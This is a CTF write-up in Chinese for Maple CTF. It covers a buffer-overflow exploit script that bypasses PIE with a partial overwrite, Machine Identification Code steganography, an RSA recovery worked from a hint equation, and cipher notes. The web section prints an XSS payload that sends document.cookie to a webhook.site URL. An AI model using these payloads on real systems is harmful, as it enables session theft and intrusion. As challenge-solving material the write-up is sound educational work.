Skip to content

Latest commit

 

History

History
278 lines (209 loc) · 15.5 KB

Maple_CTF.md

File metadata and controls

278 lines (209 loc) · 15.5 KB

Maple CTF

tags: CTF

Pwn

warmup1

基本上是用基礎的 BOF 來改

從 objdump 來看,是要從 vuln 的 read BOF 漏洞跳到 win 函式

原本以為很簡單,結果發現這題有 PIE,每次執行記憶體位置會變

且用實際執行的方式確認不是誤報

後來參考這篇文章,嘗試使用 partial write 的方式來 bypass PIE

簡單的說,因為 PIE 會受到 paging 技術的影響,隨機化的範圍只作用在以 page 為單位,單個 page 內的順序並非隨機,而一個 page 通常來說大小是 0x1000,也就是說不管執行多少次,記憶體位置的後 3 碼都是固定的,可對照上面圖片

因此在 BOF 填 return address 時,不需要填寫完整一整條的位置,僅需填寫 2 或 4 碼的位置即可無視 PIE 在單個 page 內移動 RIP

由於此題的 vuln 在 return 時,在正常情況下 $esp 會存 0x???????212<main+68>: mov eax,0x0 的位置,而我們需要跳到 0x???????219 的 win 函式,可以看到位置倒數第 3 位是一樣的,因此我們只需要 partial write 後面 2 位的記憶體位置改成 \x19 即可

腳本:

from pwn import *
context.terminal = ["cmd.exe", "/c", "start", "bash.exe", "-c"]
context.log_level = "debug"

conn = remote("warmup1.ctf.maplebacon.org", 1337)
#conn = process("./chal")
#conn = gdb.debug("./chal")

payload = b"A" * 16 # payload
payload += b"B" * 8 # EBP
payload += b"\x19" # win() # partial write bypass PIE
conn.send(payload)

conn.interactive()

maple{buwuffer_owoverflow_UwU}

Misc

sanity check

(未解) flag hoarding

檔案如下:

因為這個看起來像是用掃描器掃出來的文件,而由於列印機在印刷時會加入 Machine Identification Code (tracking dot) 來辨別是哪一台機器做列印,因此推測文件中應該也會有相關資訊

使用工具 Dotspotter

可以看到確實出現了影像

根據 wikipedia 的敘述,進行解碼

在第一個區塊中,解碼出來的資訊如下:

13 4 50 23 16 8 22 0 127 109 97 112 108 101 123 116 119 48 95 68 51 69 52 68 51 53 95 48 102 95 115 116 51 103 48 125

得到 flag 了

maple{tw0_D3E4D35_0f_st3g0}

Web

(未解) honksay

在原始程式碼中可以發現,路徑 /changehonk 可以更改 cookie 中的 honk 數值,而在原路徑 / 中會處理過後印出來

app.get('/', (req, res) => {
    if (req.cookies.honk){
        //construct object
        let finalhonk = {};
        if (typeof(req.cookies.honk) === 'object'){
            finalhonk = req.cookies.honk
        } else {
            finalhonk = {
                message: clean(req.cookies.honk), 
                amountoftimeshonked: req.cookies.honkcount.toString()
            };
        }
        res.send(template(finalhonk.message, finalhonk.amountoftimeshonked));
    } else {
        const initialhonk = 'HONK';
        res.cookie('honk', initialhonk, {
            httpOnly: true
        });
        res.cookie('honkcount', 0, {
            httpOnly: true
        });
        res.redirect('/');
    }
});
app.get('/changehonk', (req, res) => {
    res.cookie('honk', req.query.newhonk, {
        httpOnly: true
    });
    res.cookie('honkcount', 0, {
        httpOnly: true
    });
    res.redirect('/');
});

而可以看到,基本上正常使用下會做過 XSS sanitize,而且函式庫的版本目前是最新版,可以假設沒有漏洞可繞過去

而再看一次 code 發現,如果 cookie 中的 honk 是 object 的話,不會進行 senitize,可以直接繞過防禦

測試 payload: /changehonk?newhonk[message]=</h1><script>alert(1)</script><h1>

成功!

完整 payload

/changehonk?newhonk[message]=</h1><script>fetch(`https://webhook.site/48ea7445-e88d-4667-99e7-b5a2f1b0a0c4/cookie=${document.cookie}`)</script><h1>

以下省略

Crypto

brsaby

檔案如下:

from Crypto.Util.number import getPrime, bytes_to_long
from secret import FLAG

msg = bytes_to_long(FLAG)
p = getPrime(512)
q = getPrime(512)
N = p*q
e = 0x10001
enc = pow(msg, e, N)
hint = p**4 - q**3

print(f"{N = }")
print(f"{e = }")
print(f"{enc = }")
print(f"{hint = }")

'''
N = 134049493752540418773065530143076126635445393203564220282068096099004424462500237164471467694656029850418188898633676218589793310992660499303428013844428562884017060683631593831476483842609871002334562252352992475614866865974358629573630911411844296034168928705543095499675521713617474013653359243644060206273
e = 65537
enc = 110102068225857249266317472106969433365215711224747391469423595211113736904624336819727052620230568210114877696850912188601083627767033947343144894754967713943008865252845680364312307500261885582194931443807130970738278351511194280306132200450370953028936210150584164591049215506801271155664701637982648648103
hint = 20172108941900018394284473561352944005622395962339433571299361593905788672168045532232800087202397752219344139121724243795336720758440190310585711170413893436453612554118877290447992615675653923905848685604450760355869000618609981902108252359560311702189784994512308860998406787788757988995958832480986292341328962694760728098818022660328680140765730787944534645101122046301434298592063643437213380371824613660631584008711686240103416385845390125711005079231226631612790119628517438076962856020578250598417110996970171029663545716229258911304933901864735285384197017662727621049720992964441567484821110407612560423282
'''

可以看到給了一些 RSA 的參數,以及一個 hint

可以看到基本上 p, q, N 都足夠大,且 e 也不小,且 p 和 q 明顯沒有相依關係,所以單看 RSA 的參數是似乎無法破解

而 hint 的部分,給了 $p^4 - q^3$ 的值,可以透過這個 hint 來解出 p 和 q

首先可以先計算 $N^4$,由於 $N^4 = (p \times q)^4 = p^4 \times q^4$,而我們可以把上面的 hint 代進來,使 $N^4 = p^4 \times q^4 = (hint + q^3) \times q^4$,因此最後可獲得一個式子 $q^7 + hint \times q^4 - N^4 = 0$,由於 $hint$$N^4$ 值皆可透過已知參數獲得,所以基本上是一個一元七次方程,必定可解

這邊我們使用 sage 來解方程式

x = var('x')

solve(x^7+20172108941900018394284473561352944005622395962339433571299361593905788672168045532232800087202397752219344139121724243795336720758440190310585711170413893436453612554118877290447992615675653923905848685604450760355869000618609981902108252359560311702189784994512308860998406787788757988995958832480986292341328962694760728098818022660328680140765730787944534645101122046301434298592063643437213380371824613660631584008711686240103416385845390125711005079231226631612790119628517438076962856020578250598417110996970171029663545716229258911304933901864735285384197017662727621049720992964441567484821110407612560423282 * x^4 - 322894548442345119662342549354037772052097283336665164113553424636245541371998232691466504469500548649390853732386027402135245879989790940000076913273753507176375148596018455970375883775774229207365029214267707365477222330055249652467979503695747785471531386914852470325710976532066300233823320680223116198808705157549486434444460746300877379521082149789196849213699295036130500623778968929630024644602830393040611450321763517465685913843790709942927383910838294783250355938490709665406471897478338977283855319481365226187460830879992407105294493948733114315159823442592778411254210472520092175962705679219095842853227820367394085124030419033005381652048330040316439426744986037927293518256208227791546060060141976471311970705878722167844718601706373400264329822607390083231437921349425435997158933108979202715538650678048410192050903223550091627695208552465514744316915869093410720751409419879966284173678550144981217462064933938895044262070588591132405169252573130296168506750339438947996084098790026795766107498798398591704732726355525609101819059176215920199926002108854214180187993289658121485716752591192758955164406981299523831151505683290326461954464738232209140076643781245147853924278693104580841699891240937502730946179841 == 0, x)

解出來的 x (也就是 q) 為 11248052945492193606877386307812298309646455365482356576580845624056836046347518805927852646289457003475918197991787867864250859819603651806169306473552239,這邊可以做一些驗算來確認結果正確

>>> q = 11248052945492193606877386307812298309646455365482356576580845624056836046347518805927852646289457003475918197991787867864250859819603651806169306473552239
>>> cn.isPrime(q)
1
>>> p = N // q
>>> p * q == N
True
>>> cn.isPrime(p)
1
>>> p**4 - q**3 == hint
True

確認 q 運算正確

由於已獲得 p 和 q,因此可獲得 private key 參數,也就能夠進行解密

>>> phi = (p-1) * (q-1)
>>> d = pow(e, -1, phi)
>>> msg = pow(enc, d, N)
>>> cn.long_to_bytes(msg)
b'maple{s0lving_th3m_p3rf3ct_r000ts_1s_fun}'

maple{s0lving_th3m_p3rf3ct_r000ts_1s_fun}

Spiral-baby

encrypted flag: 518701ad25340bbe7482b47039fcfd0e77cef77e2f19ee59608252cf18ca5f71fab054e6d6efd9251e62bc64f7c02c1b

raw:
01 02 03 04
05 06 07 08
09 10 11 12
13 14 15 16

add_key(0): %255
01+k0 02+k1 03+k2 04+k3
05+k4 06+k5 07+k6 08+k7
09+k8 10+k9 11+kA 12+kB
13+kC 14+kD 15+kE 16+kF

subsititute():
SBOX[01+k0] SBOX[02+k1] SBOX[03+k2] SBOX[04+k3]
SBOX[05+k4] SBOX[06+k5] SBOX[07+k6] SBOX[08+k7]
SBOX[09+k8] SBOX[10+k9] SBOX[11+kA] SBOX[12+kB]
SBOX[13+kC] SBOX[14+kD] SBOX[15+kE] SBOX[16+kF]

rotate():
SBOX[04+k3] SBOX[08+k7] SBOX[12+kB] SBOX[16+kF]
SBOX[03+k2] SBOX[07+k6] SBOX[11+kA] SBOX[15+kE]
SBOX[02+k1] SBOX[06+k5] SBOX[10+k9] SBOX[14+kD]
SBOX[01+k0] SBOX[05+k4] SBOX[09+k8] SBOX[13+kC]

mix(): %255
S0*SBOX[04+k3]+S1*SBOX[03+k2]+S2*SBOX[02+k1]+S3*SBOX[01+k0]   S0*SBOX[08+k7]+S1*SBOX[07+k6]+S2*SBOX[06+k5]+S3*SBOX[05+k4]   S0*SBOX[12+kB]+S1*SBOX[11+kA]+S2*SBOX[10+k9]+S3*SBOX[09+k8]   S0*SBOX[16+kF]+S1*SBOX[15+kE]+S2*SBOX[14+kD]+S3*SBOX[13+kC]
S4*SBOX[04+k3]+S5*SBOX[03+k2]+S6*SBOX[02+k1]+S7*SBOX[01+k0]   S4*SBOX[08+k7]+S5*SBOX[07+k6]+S6*SBOX[06+k5]+S7*SBOX[05+k4]   S4*SBOX[12+kB]+S5*SBOX[11+kA]+S6*SBOX[10+k9]+S7*SBOX[09+k8]   S4*SBOX[16+kF]+S5*SBOX[15+kE]+S6*SBOX[14+kD]+S7*SBOX[13+kC]
S8*SBOX[04+k3]+S9*SBOX[03+k2]+SA*SBOX[02+k1]+SB*SBOX[01+k0]   S8*SBOX[08+k7]+S9*SBOX[07+k6]+SA*SBOX[06+k5]+SB*SBOX[05+k4]   S8*SBOX[12+kB]+S9*SBOX[11+kA]+SA*SBOX[10+k9]+SB*SBOX[09+k8]   S8*SBOX[16+kF]+S9*SBOX[15+kE]+SA*SBOX[14+kD]+SB*SBOX[13+kC]
SC*SBOX[04+k3]+SD*SBOX[03+k2]+SE*SBOX[02+k1]+SF*SBOX[01+k0]   SC*SBOX[08+k7]+SD*SBOX[07+k6]+SE*SBOX[06+k5]+SF*SBOX[05+k4]   SC*SBOX[12+kB]+SD*SBOX[11+kA]+SE*SBOX[10+k9]+SF*SBOX[09+k8]   SC*SBOX[16+kF]+SD*SBOX[15+kE]+SE*SBOX[14+kD]+SF*SBOX[13+kC]

add_key(1): %255
S0*SBOX[04+k3]+S1*SBOX[03+k2]+S2*SBOX[02+k1]+S3*SBOX[01+k0]+k3   S0*SBOX[08+k7]+S1*SBOX[07+k6]+S2*SBOX[06+k5]+S3*SBOX[05+k4]+k7   S0*SBOX[12+kB]+S1*SBOX[11+kA]+S2*SBOX[10+k9]+S3*SBOX[09+k8]+kB   S0*SBOX[16+kF]+S1*SBOX[15+kE]+S2*SBOX[14+kD]+S3*SBOX[13+kC]+kF
S4*SBOX[04+k3]+S5*SBOX[03+k2]+S6*SBOX[02+k1]+S7*SBOX[01+k0]+k2   S4*SBOX[08+k7]+S5*SBOX[07+k6]+S6*SBOX[06+k5]+S7*SBOX[05+k4]+k6   S4*SBOX[12+kB]+S5*SBOX[11+kA]+S6*SBOX[10+k9]+S7*SBOX[09+k8]+kA   S4*SBOX[16+kF]+S5*SBOX[15+kE]+S6*SBOX[14+kD]+S7*SBOX[13+kC]+kE
S8*SBOX[04+k3]+S9*SBOX[03+k2]+SA*SBOX[02+k1]+SB*SBOX[01+k0]+k1   S8*SBOX[08+k7]+S9*SBOX[07+k6]+SA*SBOX[06+k5]+SB*SBOX[05+k4]+k5   S8*SBOX[12+kB]+S9*SBOX[11+kA]+SA*SBOX[10+k9]+SB*SBOX[09+k8]+k9   S8*SBOX[16+kF]+S9*SBOX[15+kE]+SA*SBOX[14+kD]+SB*SBOX[13+kC]+kD
SC*SBOX[04+k3]+SD*SBOX[03+k2]+SE*SBOX[02+k1]+SF*SBOX[01+k0]+k0   SC*SBOX[08+k7]+SD*SBOX[07+k6]+SE*SBOX[06+k5]+SF*SBOX[05+k4]+k4   SC*SBOX[12+kB]+SD*SBOX[11+kA]+SE*SBOX[10+k9]+SF*SBOX[09+k8]+k8   SC*SBOX[16+kF]+SD*SBOX[15+kE]+SE*SBOX[14+kD]+SF*SBOX[13+kC]+kC

subsititute():
SBOX[S0*SBOX[04+k3]+S1*SBOX[03+k2]+S2*SBOX[02+k1]+S3*SBOX[01+k0]+k3]   SBOX[S0*SBOX[08+k7]+S1*SBOX[07+k6]+S2*SBOX[06+k5]+S3*SBOX[05+k4]+k7]   SBOX[S0*SBOX[12+kB]+S1*SBOX[11+kA]+S2*SBOX[10+k9]+S3*SBOX[09+k8]+kB]   SBOX[S0*SBOX[16+kF]+S1*SBOX[15+kE]+S2*SBOX[14+kD]+S3*SBOX[13+kC]+kF]
SBOX[S4*SBOX[04+k3]+S5*SBOX[03+k2]+S6*SBOX[02+k1]+S7*SBOX[01+k0]+k2]   SBOX[S4*SBOX[08+k7]+S5*SBOX[07+k6]+S6*SBOX[06+k5]+S7*SBOX[05+k4]+k6]   SBOX[S4*SBOX[12+kB]+S5*SBOX[11+kA]+S6*SBOX[10+k9]+S7*SBOX[09+k8]+kA]   SBOX[S4*SBOX[16+kF]+S5*SBOX[15+kE]+S6*SBOX[14+kD]+S7*SBOX[13+kC]+kE]
SBOX[S8*SBOX[04+k3]+S9*SBOX[03+k2]+SA*SBOX[02+k1]+SB*SBOX[01+k0]+k1]   SBOX[S8*SBOX[08+k7]+S9*SBOX[07+k6]+SA*SBOX[06+k5]+SB*SBOX[05+k4]+k5]   SBOX[S8*SBOX[12+kB]+S9*SBOX[11+kA]+SA*SBOX[10+k9]+SB*SBOX[09+k8]+k9]   SBOX[S8*SBOX[16+kF]+S9*SBOX[15+kE]+SA*SBOX[14+kD]+SB*SBOX[13+kC]+kD]
SBOX[SC*SBOX[04+k3]+SD*SBOX[03+k2]+SE*SBOX[02+k1]+SF*SBOX[01+k0]+k0]   SBOX[SC*SBOX[08+k7]+SD*SBOX[07+k6]+SE*SBOX[06+k5]+SF*SBOX[05+k4]+k4]   SBOX[SC*SBOX[12+kB]+SD*SBOX[11+kA]+SE*SBOX[10+k9]+SF*SBOX[09+k8]+k8]   SBOX[SC*SBOX[16+kF]+SD*SBOX[15+kE]+SE*SBOX[14+kD]+SF*SBOX[13+kC]+kC]

rotate():
SBOX[S0*SBOX[16+kF]+S1*SBOX[15+kE]+S2*SBOX[14+kD]+S3*SBOX[13+kC]+kF]   SBOX[S4*SBOX[16+kF]+S5*SBOX[15+kE]+S6*SBOX[14+kD]+S7*SBOX[13+kC]+kE]   SBOX[S8*SBOX[16+kF]+S9*SBOX[15+kE]+SA*SBOX[14+kD]+SB*SBOX[13+kC]+kD]   SBOX[SC*SBOX[16+kF]+SD*SBOX[15+kE]+SE*SBOX[14+kD]+SF*SBOX[13+kC]+kC]
SBOX[S0*SBOX[12+kB]+S1*SBOX[11+kA]+S2*SBOX[10+k9]+S3*SBOX[09+k8]+kB]   SBOX[S4*SBOX[12+kB]+S5*SBOX[11+kA]+S6*SBOX[10+k9]+S7*SBOX[09+k8]+kA]   SBOX[S8*SBOX[12+kB]+S9*SBOX[11+kA]+SA*SBOX[10+k9]+SB*SBOX[09+k8]+k9]   SBOX[SC*SBOX[12+kB]+SD*SBOX[11+kA]+SE*SBOX[10+k9]+SF*SBOX[09+k8]+k8]
SBOX[S0*SBOX[08+k7]+S1*SBOX[07+k6]+S2*SBOX[06+k5]+S3*SBOX[05+k4]+k7]   SBOX[S4*SBOX[08+k7]+S5*SBOX[07+k6]+S6*SBOX[06+k5]+S7*SBOX[05+k4]+k6]   SBOX[S8*SBOX[08+k7]+S9*SBOX[07+k6]+SA*SBOX[06+k5]+SB*SBOX[05+k4]+k5]   SBOX[SC*SBOX[08+k7]+SD*SBOX[07+k6]+SE*SBOX[06+k5]+SF*SBOX[05+k4]+k4]
SBOX[S0*SBOX[04+k3]+S1*SBOX[03+k2]+S2*SBOX[02+k1]+S3*SBOX[01+k0]+k3]   SBOX[S4*SBOX[04+k3]+S5*SBOX[03+k2]+S6*SBOX[02+k1]+S7*SBOX[01+k0]+k2]   SBOX[S8*SBOX[04+k3]+S9*SBOX[03+k2]+SA*SBOX[02+k1]+SB*SBOX[01+k0]+k1]   SBOX[SC*SBOX[04+k3]+SD*SBOX[03+k2]+SE*SBOX[02+k1]+SF*SBOX[01+k0]+k0]

add_key(1): %255
SBOX[S0*SBOX[16+kF]+S1*SBOX[15+kE]+S2*SBOX[14+kD]+S3*SBOX[13+kC]+kF]+k3   SBOX[S4*SBOX[16+kF]+S5*SBOX[15+kE]+S6*SBOX[14+kD]+S7*SBOX[13+kC]+kE]+k7   SBOX[S8*SBOX[16+kF]+S9*SBOX[15+kE]+SA*SBOX[14+kD]+SB*SBOX[13+kC]+kD]+kB   SBOX[SC*SBOX[16+kF]+SD*SBOX[15+kE]+SE*SBOX[14+kD]+SF*SBOX[13+kC]+kC]+kF
SBOX[S0*SBOX[12+kB]+S1*SBOX[11+kA]+S2*SBOX[10+k9]+S3*SBOX[09+k8]+kB]+k2   SBOX[S4*SBOX[12+kB]+S5*SBOX[11+kA]+S6*SBOX[10+k9]+S7*SBOX[09+k8]+kA]+k6   SBOX[S8*SBOX[12+kB]+S9*SBOX[11+kA]+SA*SBOX[10+k9]+SB*SBOX[09+k8]+k9]+kA   SBOX[SC*SBOX[12+kB]+SD*SBOX[11+kA]+SE*SBOX[10+k9]+SF*SBOX[09+k8]+k8]+kE
SBOX[S0*SBOX[08+k7]+S1*SBOX[07+k6]+S2*SBOX[06+k5]+S3*SBOX[05+k4]+k7]+k1   SBOX[S4*SBOX[08+k7]+S5*SBOX[07+k6]+S6*SBOX[06+k5]+S7*SBOX[05+k4]+k6]+k5   SBOX[S8*SBOX[08+k7]+S9*SBOX[07+k6]+SA*SBOX[06+k5]+SB*SBOX[05+k4]+k5]+k9   SBOX[SC*SBOX[08+k7]+SD*SBOX[07+k6]+SE*SBOX[06+k5]+SF*SBOX[05+k4]+k4]+kD
SBOX[S0*SBOX[04+k3]+S1*SBOX[03+k2]+S2*SBOX[02+k1]+S3*SBOX[01+k0]+k3]+k0   SBOX[S4*SBOX[04+k3]+S5*SBOX[03+k2]+S6*SBOX[02+k1]+S7*SBOX[01+k0]+k2]+k4   SBOX[S8*SBOX[04+k3]+S9*SBOX[03+k2]+SA*SBOX[02+k1]+SB*SBOX[01+k0]+k1]+k8   SBOX[SC*SBOX[04+k3]+SD*SBOX[03+k2]+SE*SBOX[02+k1]+SF*SBOX[01+k0]+k0]+kC

SBOX[134] == 0

Spiral

encrypted flag: b71828fcf823a4b6ce6a0fce93f5eb68e8a2075e52de1822fafc7797d020ea6c